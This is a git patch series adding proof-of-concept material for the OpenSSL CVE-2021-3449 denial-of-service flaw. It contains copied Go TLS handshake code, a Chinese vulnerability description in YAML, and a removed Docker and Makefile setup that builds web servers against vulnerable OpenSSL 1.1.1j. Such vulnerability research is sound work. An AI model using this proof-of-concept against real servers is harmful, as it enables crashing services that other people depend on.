masterSecretLabel = []byte("master secret") +var keyExpansionLabel = []byte("key expansion") +var clientFinishedLabel = []byte("client finished") +var serverFinishedLabel = []byte("server finished") + +func prfAndHashForVersion(version uint16, suite *cipherSuite) (func(result, secret, label, seed []byte), crypto.Hash) { + switch version { + case VersionTLS10, VersionTLS11: + return prf10, crypto.Hash(0) + case VersionTLS12: + if suite.flags&suiteSHA384 != 0 { + return prf12(sha512.New384), crypto.SHA384 + } + return prf12(sha256.New), crypto.SHA256 + default: + panic("unknown version") + } +} + +func prfForVersion(version uint16, suite *cipherSuite) func(result, secret, label, seed []byte) { + prf, _ := prfAndHashForVersion(version, suite) + return prf +} + +// masterFromPreMasterSecret generates the master secret from the pre-master +// secret. See RFC 5246, Section 8.1. +func masterFromPreMasterSecret(version uint16, suite *cipherSuite, preMasterSecret, clientRandom, serverRandom []byte) []byte { + seed := make([]byte, 0, len(clientRandom)+len(serverRandom)) + seed = append(seed, clientRandom...) + seed = append(seed, serverRandom...) + + masterSecret := make([]byte, masterSecretLength) + prfForVersion(version, suite)(masterSecret, preMasterSecret, masterSecretLabel, seed) + return masterSecret +} + +// keysFromMasterSecret generates the connection keys from the master +// secret, given the lengths of the MAC key, cipher key and IV, as defined in +// RFC 2246, Section 6.3. +func keysFromMasterSecret(version uint16, suite *cipherSuite, masterSecret, clientRandom, serverRandom []byte, macLen, keyLen, ivLen int) (clientMAC, serverMAC, clientKey, serverKey, clientIV, serverIV []byte) { + seed := make([]byte, 0, len(serverRandom)+len(clientRandom)) + seed = append(seed, serverRandom...) + seed = append(seed, clientRandom...) + + n := 2*macLen + 2*keyLen + 2*ivLen + keyMaterial := make([]byte, n) + prfForVersion(version, suite)(keyMaterial, masterSecret, keyExpansionLabel, seed) + clientMAC = keyMaterial[:macLen] + keyMaterial = keyMaterial[macLen:] + serverMAC = keyMaterial[:macLen] + keyMaterial = keyMaterial[macLen:] + clientKey = keyMaterial[:keyLen] + keyMaterial = keyMaterial[keyLen:] + serverKey = keyMaterial[:keyLen] + keyMaterial = keyMaterial[keyLen:] + clientIV = keyMaterial[:ivLen] + keyMaterial = keyMaterial[ivLen:] + serverIV = keyMaterial[:ivLen] + return +} + +func newFinishedHash(version uint16, cipherSuite *cipherSuite) finishedHash { + var buffer []byte + if version >= VersionTLS12 { + buffer = []byte{} + } + + prf, hash := prfAndHashForVersion(version, cipherSuite) + if hash != 0 { + return finishedHash{hash.New(), hash.New(), nil, nil, buffer, version, prf} + } + + return finishedHash{sha1.New(), sha1.New(), md5.New(), md5.New(), buffer, version, prf} +} + +// A finishedHash calculates the hash of a set of handshake messages suitable +// for including in a Finished message. +type finishedHash struct { + client hash.Hash + server hash.Hash + + // Prior to TLS 1.2, an additional MD5 hash is required. + clientMD5 hash.Hash + serverMD5 hash.Hash + + // In TLS 1.2, a full buffer is sadly required. + buffer []byte + + version uint16 + prf func(result, secret, label, seed []byte) +} + +func (h *finishedHash) Write(msg []byte) (n int, err error) { + h.client.Write(msg) + h.server.Write(msg) + + if h.version < VersionTLS12 { + h.clientMD5.Write(msg) + h.serverMD5.Write(msg) + } + + if h.buffer != nil { + h.buffer = append(h.buffer, msg...) + } + + return len(msg), nil +} + +func (h finishedHash) Sum() []byte { + if h.version >= VersionTLS12 { + return h.client.Sum(nil) + } + + out := make([]byte, 0, md5.Size+sha1.Size) + out = h.clientMD5.Sum(out) + return h.client.Sum(out) +} + +// clientSum returns the contents of the verify_data member of a client's +// Finished message. +func (h finishedHash) clientSum(masterSecret []byte) []byte { + out := make([]byte, finishedVerifyLength) + h.prf(out, masterSecret, clientFinishedLabel, h.Sum()) + return out +} + +// serverSum returns the contents of the verify_data member of a server's +// Finished message. +func (h finishedHash) serverSum(masterSecret []byte) []byte { + out := make([]byte, finishedVerifyLength) + h.prf(out, masterSecret, serverFinishedLabel, h.Sum()) + return out +} + +// hashForClientCertificate returns the handshake messages so far, pre-hashed if +// necessary, suitable for signing by a TLS client certificate. +func (h finishedHash) hashForClientCertificate(sigType uint8, hashAlg crypto.Hash) []byte { + if (h.version >= VersionTLS12 || sigType == signatureEd25519) && h.buffer == nil { + panic("tls: handshake hash for a client certificate requested after discarding the handshake buffer") + } + + if sigType == signatureEd25519 { + return h.buffer + } + + if h.version >= VersionTLS12 { + hash := hashAlg.New() + hash.Write(h.buffer) + return hash.Sum(nil) + } + + if sigType == signatureECDSA { + return h.server.Sum(nil) + } + + return h.Sum() +} + +// discardHandshakeBuffer is called when there is no more need to +// buffer the entirety of the handshake messages. +func (h *finishedHash) discardHandshakeBuffer() { + h.buffer = nil +} + +// noExportedKeyingMaterial is used as a value of +// ConnectionState.ekm when renegotiation is enabled and thus +// we wish to fail all key-material export requests. +func noExportedKeyingMaterial(label string, context []byte, length int) ([]byte, error) { + return nil, errors.New("crypto/tls: ExportKeyingMaterial is unavailable when renegotiation is enabled") +} + +// ekmFromMasterSecret generates exported keying material as defined in RFC 5705. +func ekmFromMasterSecret(version uint16, suite *cipherSuite, masterSecret, clientRandom, serverRandom []byte) func(string, []byte, int) ([]byte, error) { + return func(label string, context []byte, length int) ([]byte, error) { + switch label { + case "client finished", "server finished", "master secret", "key expansion": + // These values are reserved and may not be used. + return nil, fmt.Errorf("crypto/tls: reserved ExportKeyingMaterial label: %s", label) + } + + seedLen := len(serverRandom) + len(clientRandom) + if context != nil { + seedLen += 2 + len(context) + } + seed := make([]byte, 0, seedLen) + + seed = append(seed, clientRandom...) + seed = append(seed, serverRandom...) + + if context != nil { + if len(context) >= 1<<16 { + return nil, fmt.Errorf("crypto/tls: ExportKeyingMaterial context too long") + } + seed = append(seed, byte(len(context)>>8), byte(len(context))) + seed = append(seed, context...) + } + + keyMaterial := make([]byte, length) + prfForVersion(version, suite)(keyMaterial, masterSecret, []byte(label), seed) + return keyMaterial, nil + } +} diff --git a/cve/openssl/2021/CVE-2021-3449/tls/ticket.go b/cve/openssl/2021/CVE-2021-3449/tls/ticket.go new file mode 100644 index 00000000..58ee512c --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/tls/ticket.go @@ -0,0 +1,82 @@ +// Copyright 2012 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package tls + +import ( + "bytes" + "crypto/aes" + "crypto/cipher" + "crypto/hmac" + "crypto/sha256" + "crypto/subtle" + "errors" + "io" +) + +func (c *Conn) encryptTicket(state []byte) ([]byte, error) { + encrypted := make([]byte, ticketKeyNameLen+aes.BlockSize+len(state)+sha256.Size) + keyName := encrypted[:ticketKeyNameLen] + iv := encrypted[ticketKeyNameLen : ticketKeyNameLen+aes.BlockSize] + macBytes := encrypted[len(encrypted)-sha256.Size:] + + if _, err := io.ReadFull(c.config.rand(), iv); err != nil { + return nil, err + } + key := c.config.ticketKeys()[0] + copy(keyName, key.keyName[:]) + block, err := aes.NewCipher(key.aesKey[:]) + if err != nil { + return nil, errors.New("tls: failed to create cipher while encrypting ticket: " + err.Error()) + } + cipher.NewCTR(block, iv).XORKeyStream(encrypted[ticketKeyNameLen+aes.BlockSize:], state) + + mac := hmac.New(sha256.New, key.hmacKey[:]) + mac.Write(encrypted[:len(encrypted)-sha256.Size]) + mac.Sum(macBytes[:0]) + + return encrypted, nil +} + +func (c *Conn) decryptTicket(encrypted []byte) (plaintext []byte, usedOldKey bool) { + if len(encrypted) < ticketKeyNameLen+aes.BlockSize+sha256.Size { + return nil, false + } + + keyName := encrypted[:ticketKeyNameLen] + iv := encrypted[ticketKeyNameLen : ticketKeyNameLen+aes.BlockSize] + macBytes := encrypted[len(encrypted)-sha256.Size:] + ciphertext := encrypted[ticketKeyNameLen+aes.BlockSize : len(encrypted)-sha256.Size] + + keys := c.config.ticketKeys() + keyIndex := -1 + for i, candidateKey := range keys { + if bytes.Equal(keyName, candidateKey.keyName[:]) { + keyIndex = i + break + } + } + + if keyIndex == -1 { + return nil, false + } + key := &keys[keyIndex] + + mac := hmac.New(sha256.New, key.hmacKey[:]) + mac.Write(encrypted[:len(encrypted)-sha256.Size]) + expected := mac.Sum(nil) + + if subtle.ConstantTimeCompare(macBytes, expected) != 1 { + return nil, false + } + + block, err := aes.NewCipher(key.aesKey[:]) + if err != nil { + return nil, false + } + plaintext = make([]byte, len(ciphertext)) + cipher.NewCTR(block, iv).XORKeyStream(plaintext, ciphertext) + + return plaintext, keyIndex > 0 +} diff --git a/cve/openssl/2021/CVE-2021-3449/tls/tls.go b/cve/openssl/2021/CVE-2021-3449/tls/tls.go new file mode 100644 index 00000000..3eff85cc --- /dev/null +++ b/cve/openssl/2021/CVE-2021-3449/tls/tls.go @@ -0,0 +1,115 @@ +// Copyright 2009 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// Package tls partially implements TLS 1.2, as specified in RFC 5246, +// and TLS 1.3, as specified in RFC 8446. +package tls + +// BUG(agl): The crypto/tls package only implements some countermeasures +// against Lucky13 attacks on CBC-mode encryption, and only on SHA1 +// variants. See http://www.isg.rhul.ac.uk/tls/TLStiming.pdf and +// https://www.imperialviolet.org/2013/02/04/luckythirteen.html. + +import ( + "net" + "strings" + "time" +) + +// Client returns a new TLS client side connection +// using conn as the underlying transport. +// The config cannot be nil: users must set either ServerName or +// InsecureSkipVerify in the config. +func Client(conn net.Conn, config *Config) *Conn { + return &Conn{conn: conn, config: config} +} + +type timeoutError struct{} + +func (timeoutError) Error() string { return "tls: DialWithDialer timed out" } +func (timeoutError) Timeout() bool { return true } +func (timeoutError) Temporary() bool { return true } + +// DialWithDialer connects to the given network address using dialer.Dial and +// then initiates a TLS handshake, returning the resulting TLS connection. Any +// timeout or deadline given in the dialer apply to connection and TLS +// handshake as a whole. +// +// DialWithDialer interprets a nil configuration as equivalent to the zero +// configuration; see the documentation of Config for the defaults. +func DialWithDialer(dialer *net.Dialer, network, addr string, config *Config) (*Conn, error) { + // We want the Timeout and Deadline values from dialer to cover the + // whole process: TCP connection and TLS handshake. This means that we + // also need to start our own timers now. + timeout := dialer.Timeout + + if !dialer.Deadline.IsZero() { + deadlineTimeout := time.Until(dialer.Deadline) + if timeout == 0 || deadlineTimeout < timeout { + timeout = deadlineTimeout + } + } + + var errChannel chan error + + if timeout != 0 { + errChannel = make(chan error, 2) + timer := time.AfterFunc(timeout, func() { + errChannel <- timeoutError{} + }) + defer timer.Stop() + } + + rawConn, err := dialer.Dial(network, addr) + if err != nil { + return nil, err + } + + colonPos := strings.LastIndex(addr, ":") + if colonPos == -1 { + colonPos = len(addr) + } + hostname := addr[:colonPos] + + if config == nil { + config = defaultConfig() + } + // If no ServerName is set, infer the ServerName + // from the hostname we're connecting to. + if config.ServerName == "" { + // Make a copy to avoid polluting argument or default. + c := config.Clone() + c.ServerName = hostname + config = c + } + + conn := Client(rawConn, config) + + if timeout == 0 { + err = conn.Handshake() + } else { + go func() { + errChannel <- conn.Handshake() + }() + + err = <-errChannel + } + + if err != nil { + rawConn.Close() + return nil, err + } + + return conn, nil +} + +// Dial connects to the given network address using net.Dial +// and then initiates a TLS handshake, returning the resulting +// TLS connection. +// Dial interprets a nil configuration as equivalent to +// the zero configuration; see the documentation of Config +// for the defaults. +func Dial(network, addr string, config *Config) (*Conn, error) { + return DialWithDialer(new(net.Dialer), network, addr, config) +} diff --git a/cve/openssl/2021/yaml/CVE-2021-3449.yaml b/cve/openssl/2021/yaml/CVE-2021-3449.yaml new file mode 100644 index 00000000..ad1c4bbe --- /dev/null +++ b/cve/openssl/2021/yaml/CVE-2021-3449.yaml @@ -0,0 +1,20 @@ +id: CVE-2021-3449 +source: + https://github.com/terorie/cve-2021-3449 +info: + name: OpenSSL是Openssl团队的一个开源的能够实现安全套接层（SSLv2/v3）和安全传输层（TLSv1）协议的通用加密库。该产品支持多种加密算法，包括对称密码、哈希算法、安全散列算法等。 + severity: medium + description: 由于 NULL 指针取消引用而导致的拒绝服务（DoS）漏洞，只影响 OpenSSL 服务器实例，而不影响客户端。如果从客户端发送恶意制作的重新协商 ClientHello 消息，OpenSSL TLS 服务器可能会崩溃。 如果 TLSv1.2 重新协商 ClientHello 省略了 signature_algorithms 扩展（它出现在初始 ClientHello 中），但包含 signature_algorithms_cert 扩展，那么将导致 NULL 指针取消引用，从而导致崩溃和拒绝服务攻击。 服务器只有在启用了 TLSv1.2 和重新协商（这是默认配置）时才会受到攻击。 OpenSSL TLS 客户端不受此问题的影响。 所有 OpenSSL 1.1.1 版本都受此问题影响。 这些版本的用户应该升级到 OpenSSL 1.1.1k。 OpenSSL 1.0.2 不受此问题影响。 + scope-of-influence: + OpenSSL 1.1.1到1.1.1j版本 + reference: + - https://nvd.nist.gov/vuln/detail/cve-2021-3449 + - https://avd.aliyun.com/detail?id=AVD-2021-3449 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H + cvss-score: 5.9 + cve-id: CVE-2021-3449 + cwe-id: CWE-476 + cnvd-id: None + kve-id: None + tags: 拒绝服务,DoS \ No newline at end of file -- Gitee From 19ce3f3abfd197426bd4970fd6bc29ed94b43a3b Mon Sep 17 00:00:00 2001 From: cc_plus_plus <17005030@buaa.edu.cn> Date: Mon, 13 Mar 2023 06:39:46 +0000 Subject: [PATCH 2/3] update openkylin_list.yaml. add CVE-2021-3449 Signed-off-by: cc_plus_plus <17005030@buaa.edu.cn> --- openkylin_list.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/openkylin_list.yaml b/openkylin_list.yaml index 1ed80196..4de59714 100644 --- a/openkylin_list.yaml +++ b/openkylin_list.yaml @@ -65,6 +65,7 @@ cve: - CVE-2022-2274 - CVE-2022-3602 - CVE-2023-25136 + - CVE-2021-3449 libxml2: - CVE-2020-24977 - CVE-2021-3517 -- Gitee From a48a239cd62bde23c442838302bbfc81fc9ad667 Mon Sep 17 00:00:00 2001 From: cc_plus_plus <17005030@buaa.edu.cn> Date: Mon, 13 Mar 2023 07:10:02 +0000 Subject: [PATCH 3/3] Add CVE-2021-3449 --- .../2021/CVE-2021-3449/demo/.dockerignore | 9 --- .../2021/CVE-2021-3449/demo/.gitignore | 7 -- cve/openssl/2021/CVE-2021-3449/demo/Makefile | 69 ------------------- .../demo/apache-default-ssl.conf | 25 ------- .../2021/CVE-2021-3449/demo/apache.Dockerfile | 9 --- .../2021/CVE-2021-3449/demo/base.Dockerfile | 11 --- .../CVE-2021-3449/demo/haproxy.Dockerfile | 8 --- .../2021/CVE-2021-3449/demo/haproxy.cfg | 16 ----- .../CVE-2021-3449/demo/lighttpd-10-ssl.conf | 21 ------ .../CVE-2021-3449/demo/lighttpd.Dockerfile | 8 --- .../2021/CVE-2021-3449/demo/nginx.Dockerfile | 8 --- .../2021/CVE-2021-3449/demo/nginx.conf | 50 -------------- .../2021/CVE-2021-3449/demo/nodejs.Dockerfile | 8 --- cve/openssl/2021/CVE-2021-3449/demo/nodejs.js | 14 ---- .../demo/openssl-1.1.1j.tar.gz.sha256sum | 1 - .../CVE-2021-3449/demo/openssl.Dockerfile | 4 -- cve/openssl/2021/yaml/CVE-2021-3449.yaml | 4 +- 17 files changed, 2 insertions(+), 270 deletions(-) delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/.dockerignore delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/.gitignore delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/Makefile delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/apache-default-ssl.conf delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/apache.Dockerfile delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/base.Dockerfile delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/haproxy.Dockerfile delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/haproxy.cfg delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/lighttpd-10-ssl.conf delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/lighttpd.Dockerfile delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/nginx.Dockerfile delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/nginx.conf delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/nodejs.Dockerfile delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/nodejs.js delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/openssl-1.1.1j.tar.gz.sha256sum delete mode 100644 cve/openssl/2021/CVE-2021-3449/demo/openssl.Dockerfile diff --git a/cve/openssl/2021/CVE-2021-3449/demo/.dockerignore b/cve/openssl/2021/CVE-2021-3449/demo/.dockerignore deleted file mode 100644 index fcd11acb..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/.dockerignore +++ /dev/null @@ -1,9 +0,0 @@ -* -!*.so* -!openssl -!server.pem -!apache-default-ssl.conf -!haproxy.cfg -!lighttpd-10-ssl.conf -!nginx.conf -!nodejs.js diff --git a/cve/openssl/2021/CVE-2021-3449/demo/.gitignore b/cve/openssl/2021/CVE-2021-3449/demo/.gitignore deleted file mode 100644 index a9d46952..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/.gitignore +++ /dev/null @@ -1,7 +0,0 @@ -/openssl-1.1.1j/ -/openssl_dir -/openssl-1.1.1j.tar.gz -/openssl-1.1.1j.tar.gz.download -/openssl -*.pem -*.so* diff --git a/cve/openssl/2021/CVE-2021-3449/demo/Makefile b/cve/openssl/2021/CVE-2021-3449/demo/Makefile deleted file mode 100644 index 5435bfd5..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/Makefile +++ /dev/null @@ -1,69 +0,0 @@ -CFLAGS ?= -Og -Wall -export CFLAGS -CXXFLAGS ?= -Og -Wall -export CXXFLAGS - -IMAGE_PREFIX := local/cve-2021-3449 -UBUNTU_VERSION ?= focal -IMAGE_INT := $(IMAGE_PREFIX)/base-$(UBUNTU_VERSION) -IMAGE_INT_REQ := build-base-$(UBUNTU_VERSION) - -CONTAINER_PREFIX := cve-2021-3449 - -TARGETS := apache haproxy lighttpd nginx nodejs openssl - -BUILD_TARGETS := $(addprefix build-, $(TARGETS)) -.PHONY: $(BUILD_TARGETS) -$(BUILD_TARGETS): build-%: $(IMAGE_INT_REQ) - docker build -f $*.Dockerfile -t $(IMAGE_PREFIX)/$* --build-arg "BASE_IMAGE=$(IMAGE_INT)" . - -START_TARGETS := $(addprefix start-, $(TARGETS)) -.PHONY: $(START_TARGETS) -$(START_TARGETS): start-%: build-% - docker run -d -it --name $(CONTAINER_PREFIX)-$* --network host $(IMAGE_PREFIX)/$* - docker logs -f $(CONTAINER_PREFIX)-$* & - -LOGS_TARGETS := $(addprefix logs-, $(TARGETS)) -.PHONY: $(LOGS_TARGETS) -$(LOGS_TARGETS): logs-%: - docker logs $(CONTAINER_PREFIX)-$* - -STOP_TARGETS := $(addprefix stop-, $(TARGETS)) -.PHONY: $(STOP_TARGETS) -$(STOP_TARGETS): stop-%: - docker container rm -f $(CONTAINER_PREFIX)-$* || true - -.PHONY: $(IMAGE_INT_REQ) -$(IMAGE_INT_REQ): libcrypto.so.1.1 libssl.so.1.1 openssl server.pem - docker build -f base.Dockerfile -t $(IMAGE_INT) --build-arg "BASE_IMAGE=ubuntu:$(UBUNTU_VERSION)" . - -server.pem: - openssl req -x509 -newkey rsa:2048 -keyout ./key.pem -out ./cert.pem -days 365 -nodes -subj "/CN=dummycert/O=My Company Name/C=US" - cat key.pem cert.pem >> server.pem - rm key.pem cert.pem - -.PHONY: clean -clean: $(STOP_TARGETS) - docker image rm -f $(addprefix $(IMAGE_PREFIX)/,$(TARGETS)) - rm -rf ./*.pem ./*.so* ./openssl ./openssl_dir ./openssl-1.1.1j ./openssl-1.1.1j.tar.gz ./openssl-1.1.1j.tar.gz.download - -openssl libcrypto.so.1.1 libssl.so.1.1: openssl_dir/Makefile - $(MAKE) -C openssl_dir -j4 apps/openssl libcrypto.so libssl.so - ln -f openssl_dir/libcrypto.so.1.1 libcrypto.so.1.1 - ln -f openssl_dir/libssl.so.1.1 libssl.so.1.1 - ln -f openssl_dir/apps/openssl openssl - -openssl_dir/Makefile: openssl_dir/.downloaded - cd openssl_dir && ./config && $(MAKE) build_generated - -openssl_dir/.downloaded: openssl-1.1.1j.tar.gz - tar -xzf openssl-1.1.1j.tar.gz - ln -sf openssl-1.1.1j openssl_dir - touch openssl_dir/.downloaded - -openssl-1.1.1j.tar.gz: openssl-1.1.1j.tar.gz.download - sha256sum -c openssl-1.1.1j.tar.gz.sha256sum - ln -sf openssl-1.1.1j.tar.gz.download openssl-1.1.1j.tar.gz - -openssl-1.1.1j.tar.gz.download: - curl https://www.openssl.org/source/old/1.1.1/openssl-1.1.1j.tar.gz --output openssl-1.1.1j.tar.gz.download diff --git a/cve/openssl/2021/CVE-2021-3449/demo/apache-default-ssl.conf b/cve/openssl/2021/CVE-2021-3449/demo/apache-default-ssl.conf deleted file mode 100644 index 7c2b859b..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/apache-default-ssl.conf +++ /dev/null @@ -1,25 +0,0 @@ - - - ServerAdmin webmaster@localhost - - DocumentRoot /var/www/html - LogLevel info ssl:debug - - ErrorLog ${APACHE_LOG_DIR}/error.log - CustomLog ${APACHE_LOG_DIR}/access.log combined - - SSLEngine on - - SSLCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem - SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key - - - SSLOptions +StdEnvVars - - - SSLOptions +StdEnvVars - - - - -# vim: syntax=apache ts=4 sw=4 sts=4 sr noet diff --git a/cve/openssl/2021/CVE-2021-3449/demo/apache.Dockerfile b/cve/openssl/2021/CVE-2021-3449/demo/apache.Dockerfile deleted file mode 100644 index 3d7c49eb..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/apache.Dockerfile +++ /dev/null @@ -1,9 +0,0 @@ -ARG BASE_IMAGE -FROM ${BASE_IMAGE} -WORKDIR /root -RUN DEBIAN_FRONTEND=noninteractive \ - apt-get install -y apache2 -COPY apache-default-ssl.conf /etc/apache2/sites-enabled/default-ssl.conf -RUN a2enmod ssl -ENTRYPOINT ["/bin/bash", "-c"] -CMD ["/usr/sbin/apachectl start && sleep 2 && tail -n+0 -f /var/log/apache2/error.log"] diff --git a/cve/openssl/2021/CVE-2021-3449/demo/base.Dockerfile b/cve/openssl/2021/CVE-2021-3449/demo/base.Dockerfile deleted file mode 100644 index ab883642..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/base.Dockerfile +++ /dev/null @@ -1,11 +0,0 @@ -# Create base system with a vulnerable OpenSSL version. -ARG BASE_IMAGE=ubuntu:bionic -FROM $BASE_IMAGE -RUN DEBIAN_FRONTEND=noninteractive \ - apt-get update \ - && apt-get install -y libssl1.1 openssl gdb curl -# Patch in the vulnerable OpenSSL version. -COPY libssl.so.1.1 libcrypto.so.1.1 /usr/lib/x86_64-linux-gnu/ -COPY openssl /usr/bin/ -# Copy the self-signed certificate. -COPY server.pem /root/ diff --git a/cve/openssl/2021/CVE-2021-3449/demo/haproxy.Dockerfile b/cve/openssl/2021/CVE-2021-3449/demo/haproxy.Dockerfile deleted file mode 100644 index 0936431a..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/haproxy.Dockerfile +++ /dev/null @@ -1,8 +0,0 @@ -ARG BASE_IMAGE -FROM ${BASE_IMAGE} -WORKDIR /root -RUN DEBIAN_FRONTEND=noninteractive \ - apt-get install -y haproxy -COPY haproxy.cfg /etc/haproxy/ -ENTRYPOINT ["/bin/bash", "-c"] -CMD ["haproxy -W -f /etc/haproxy/haproxy.cfg"] diff --git a/cve/openssl/2021/CVE-2021-3449/demo/haproxy.cfg b/cve/openssl/2021/CVE-2021-3449/demo/haproxy.cfg deleted file mode 100644 index ad0714ec..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/haproxy.cfg +++ /dev/null @@ -1,16 +0,0 @@ -# generated 2021-03-28, Mozilla Guideline v5.6, HAProxy 2.1, OpenSSL 1.1.1j, intermediate configuration -# https://ssl-config.mozilla.org/#server=haproxy&version=2.1&config=intermediate&openssl=1.1.1j&guideline=5.6 -global - # intermediate configuration - ssl-default-bind-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384 - ssl-default-bind-options prefer-client-ciphers no-sslv3 no-tlsv10 no-tlsv11 no-tls-tickets - - ssl-default-server-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384 - ssl-default-server-options no-sslv3 no-tlsv10 no-tlsv11 no-tls-tickets - -frontend ft_test - mode http - bind :4433 ssl crt /root/server.pem alpn h2,http/1.1 - - # HSTS (63072000 seconds) - http-response set-header Strict-Transport-Security max-age=63072000 diff --git a/cve/openssl/2021/CVE-2021-3449/demo/lighttpd-10-ssl.conf b/cve/openssl/2021/CVE-2021-3449/demo/lighttpd-10-ssl.conf deleted file mode 100644 index ae82ad9f..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/lighttpd-10-ssl.conf +++ /dev/null @@ -1,21 +0,0 @@ -# generated 2021-03-28, Mozilla Guideline v5.6, lighttpd 1.4.55, OpenSSL 1.1.1j, intermediate configuration -# https://ssl-config.mozilla.org/#server=lighttpd&version=1.4.55&config=intermediate&openssl=1.1.1j&guideline=5.6 -$SERVER["socket"] == ":80" { - url.redirect = ("" => "https://${url.authority}${url.path}${qsa}") -} - -$SERVER["socket"] == ":4433" { - ssl.engine = "enable" - - ssl.pemfile = "/root/server.pem" - - # intermediate configuration - ssl.openssl.ssl-conf-cmd = ("Protocol" => "ALL, -SSLv2, -SSLv3, -TLSv1, -TLSv1.1") - ssl.cipher-list = "ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384" - ssl.honor-cipher-order = "disable" - - # HTTP Strict Transport Security (63072000 seconds) - setenv.add-response-header = ( - "Strict-Transport-Security" => "max-age=63072000" - ) -} diff --git a/cve/openssl/2021/CVE-2021-3449/demo/lighttpd.Dockerfile b/cve/openssl/2021/CVE-2021-3449/demo/lighttpd.Dockerfile deleted file mode 100644 index f733a113..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/lighttpd.Dockerfile +++ /dev/null @@ -1,8 +0,0 @@ -ARG BASE_IMAGE -FROM ${BASE_IMAGE} -WORKDIR /root -RUN DEBIAN_FRONTEND=noninteractive \ - apt-get install -y lighttpd -COPY lighttpd-10-ssl.conf /etc/lighttpd/conf-enabled/10-ssl.conf -ENTRYPOINT ["/bin/bash", "-c"] -CMD ["lighttpd -D -f /etc/lighttpd/lighttpd.conf && true"] diff --git a/cve/openssl/2021/CVE-2021-3449/demo/nginx.Dockerfile b/cve/openssl/2021/CVE-2021-3449/demo/nginx.Dockerfile deleted file mode 100644 index bcf8e4e5..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/nginx.Dockerfile +++ /dev/null @@ -1,8 +0,0 @@ -ARG BASE_IMAGE -FROM ${BASE_IMAGE} -WORKDIR /root -RUN DEBIAN_FRONTEND=noninteractive \ - apt-get install -y nginx -COPY nginx.conf /etc/nginx/ -ENTRYPOINT ["/bin/bash", "-c"] -CMD ["nginx && sleep 2 && tail -n+0 -f /var/log/nginx/error.log"] diff --git a/cve/openssl/2021/CVE-2021-3449/demo/nginx.conf b/cve/openssl/2021/CVE-2021-3449/demo/nginx.conf deleted file mode 100644 index f4aa8217..00000000 --- a/cve/openssl/2021/CVE-2021-3449/demo/nginx.conf +++ /dev/null @@ -1,50 +0,0 @@ -user root; -pid /run/nginx.pid; -worker_processes auto; -worker_rlimit_nofile 65535; - -events { - multi_accept on; - worker_connections 65535; -} - -http { - charset utf-8; - sendfile on; - tcp_nopush on; - tcp_nodelay on; - server_tokens off; - log_not_found off; - types_hash_max_size 2048; - types_hash_bucket_size 64; - client_max_body_size 16M; - - # MIME - include mime.types; - default_type application/octet-stream; - - # Logging - access_log /var/log/nginx/access.log; - error_log /var/log/nginx/error.log warn; - - # SSL - ssl_session_timeout 1d; - ssl_session_cache shared:SSL:10m; - ssl_session_tickets off; - - # Mozilla Intermediate configuration - ssl_protocols TLSv1.2 TLSv1.3; - ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384; - - server { - listen 4433 ssl http2; - listen [::]:4433 ssl http2; - server_name example.com; - root /var/www/html; - - # SSL - ssl_certificate /root/server.pem; - ssl_certificate_key /root/server.pem; - ssl_trusted_certificate /root/server.pem; - } -} diff --git a/cve/openssl/2021/CVE-2021-3449/demo/nodejs.Dockerfile 